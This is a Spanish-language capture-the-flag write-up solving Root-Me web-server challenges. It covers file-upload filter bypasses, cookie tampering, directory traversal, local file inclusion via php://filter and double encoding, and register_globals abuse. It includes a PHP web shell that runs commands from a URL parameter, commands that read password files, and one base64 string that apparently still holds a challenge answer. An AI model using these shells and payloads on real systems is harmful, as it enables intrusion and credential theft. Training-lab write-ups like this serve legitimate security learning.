Web - Servidor root-me 2

File upload - double extensions

Hacemos una pequeña shell como en "File upload - MIME type"(siguiente) y simplemente le ponemos ademas de la extensión suya php, la de jpg, quedadndo así sierra.php.jpg, los demas pasos los mismos que en la siguiente entrada de File upload - MIME type ;)

sierra.php.jpg?cmd=ls -la ../
sierra.php.jpg?cmd=ls -la ../../
hasta que damos conel .passwd, asi que ahora lo leemos con cat
sierra.php.jpg?cmd=cat ../../../.passwd

File upload - MIME type

Tendremos que usar tamper data para modificar la cabecera de Content-type a image/jpeg, con lo cual aceptará el archivo como si fuera una imagen. Crear el archivo con una pequeña shell para ejecutar comandos en el sistema, por ejemplo así:

shell.php
------------------------
<html>
<head>
<title>Fileu upload - MIME type</title>
</head>
<body>
<?php
system($_GET['cmd']);
?>
</body>
</html>
-------------------------

Una vez subida la shell, la ejecutamos sobre la pagina de upload, dando un error ya que no hemos pasados nigun argumento a system, añadimos lo siguiente:
shell.php?cmd=ls -la
con lo cual vemos nuestra shell.php, ahora vamos bajando de directorios
shell.php?cmd=ls -la ../
Hasta que nos liste el fichero que buscamos .passwd, ahora solo hay que sustituir ls -la por el comando cat para leer el archivo con la contraseña:
cmd=cat ../../../.passwd
Y contraseña a la vista,
Se podrían leer archivos interesantes, como /etc/passwd y demás, pero no nos atañe en estos momentos (o quizás no se puedan leer)

PD: Tambien se podría haber subido una shell como c99.php o por el estilo :)

HTTP cookies

Aqui metemos en el formulario unos caracteres, se supone un email, pero puede ser cualquier palabra. Ahora pulsamos y

Saved email adresses

Advirtiendo que es el admin quien tiene autorización para ello. Nos vamos a Manager Cookies o cualquier plugin que nos sirva para ver y editar las cookies, vemos que en ella pone la palabra "visiteur", la cambiamos por admin y volvermos a clikear, saliendo ya el passwd.

Directory traversal

Le damos a los enlaces y quitamos el argumento a la pagina

challenge01.root-me.org/web-serveur/ch15/ch15.php?galerie=

De las imagenes que no aparecen "Ver imagen", y tomar el directorio al que no podemos acceder "86hwnX2r", volver al
ch15.php?galerie=86hwnX2r
y nos saldra una imagen con la palabra pass, le damos para verla y voila! password visto!

File upload - null byte

Hacemos un script en php, con solo poner echo "hola" es suficiente, y renombramos el arhchivo de imagen.php a imagen.php%00.jpeg subiendo realmente el archivo. Después solo ejecutarlo y nos daran el password ;)

PHP assert()

Distintas pruebas, pero de momento nada...

view-source:http://challenge01.root-me.org/web-serveur/ch47/?page=%3C?php%20echo%22hola%22;?%3E.passwd%27,%27%27)

view-source:http://challenge01.root-me.org/web-serveur/ch47/?page=<html><body>%3C?php%20echo%22hola%22;?%3E</body></html>%27,%27%27) challenge01.root-me.org/web-serveur/ch47/?page=../<html><body><?php system("ls -la") ;?>index</body></html>
http://challenge01.root-me.org/web-serveur/ch47/?page=../%3Chtml%3E%3Cbody%3E%3C?php%20system(%22ls%22)%20;?%3Eindex%3C/body%3E%3C/html%3E

PHP filters

Vamos a la pagina de login
http://challenge01.root-me.org/web-serveur/ch12/?inc=login.php
usamos un filtro de php
http://challenge01.root-me.org/web-serveur/ch12/?inc=php://filter/convert.base64-encode/resource=login.php
PD9waHAKaW5jbHVkZSgiY29uZml...Bla bla bla

Nos da una cadena de caractes, que pasamos a decodificar en el Hack bar del firefox "Base64 Decode", y obtenemos:
----------------------------------
<?php
include("config.php");

if ( isset($_POST["username"]) && isset($_POST["password"]) ){
bla bla bla
----------------------------------

Hacemos lo mismo con el archivo config.php nombrado al comienzo del archivo:
PD9waHAKCiR1c2VybmFtZT0iYWRtaW4iOwokcGFzc3dvcmQ9IkRBUHQ5RDJta3kwQVBBRiI7Cgo/Pg==
y volvemos a decodificarlo:

<?php

$username="admin";
$password="????????????";

?>
Ahí está la clave, si lo quieres mejor explicado o detallado lo tiene Sebastian Cortes

PHP register globals

Buscamos el archivo index.php???? que será el que tenga una copia de este, y al probar con index.php.bak podemos descargarlo, lo vemos y estudiamos el codigo php, viendo que hay una variable que nos interesa $_SESSION[logged], la cual vamos a pasar en el url para validar la entrada:

http://challenge01.root-me.org//web-serveur/ch17/?_SESSION[logged]=1

well done, you can validate with the password : ????????????????

Local File Inclusion

Nos dice "Get in the admin section.", pues ala, entramos y vemos que nos pide user y contraseña. Ahora vemos como funciona la aplicación en la url, y a base de experimentar, vemos que "files" hace mensión a los directorios, y que la "f" a los archivos para leer, de manera que vamos a ir al directorio admin:

http://challenge01.root-me.org/web-serveur/ch16/?files=../
http://challenge01.root-me.org/web-serveur/ch16/?files=../admin

vemos el archivo index.php solitario, lo leemos pasandolo con la "f", así:
http://challenge01.root-me.org/web-serveur/ch16/?files=../admin&f=index.php

Y vemos que hay un array del admin:
$realm = 'PHP Restricted area';
$users = array('admin' => '???????????????');

pegamos la solución ????????????? y .......

http://challenge01.root-me.org/web-serveur/ch16/?files=../../../../etc/&f=passwd
No, no funciona ;-)

Local File Inclusion - Double encoding

Al meter como parametro cualquier palabra vemos el Warning que nos indica que esa palabra es buscada como palabra.inc.php, tener esto en cuenta...
Pasamos un doble filtro a los caracteres que pueden ser sensibles, como "." ":" "/" "=" "-", ya que estan contenidos en el filtro que vamos a pasar por php para codificar en base64:

http://challenge01.root-me.org/web-serveur/ch45/index.php?page=php%253A%252F%252Ffilter%252Fconvert%252Ebase64%252Dencode%252Fresource%253Dhome
obtenemos lo siguiente

PD9waHAgaW5jbHVkZSgiY29uZi5pbmMucGhwIik7ID8 bla bla bla

una vez decodificado, miramos el archivo conf, sabiendo que la aplicación le añade el inc.php, pues lo hemos visto anteriormente, asi que pasamos a buscar el archivo conf

http://challenge01.root-me.org/web-serveur/ch45/index.php?page=php%253A%252F%252Ffilter%252Fconvert%252Ebase64%252Dencode%252Fresource%253Dconf

PD9waHAKICAkY29uZiA9IFsKICAgICJmbGFnIiAgICAgICAgP bla bla bla

Decodificamos y en la tercena linea vemos la clave:
"flag" => "?????????????",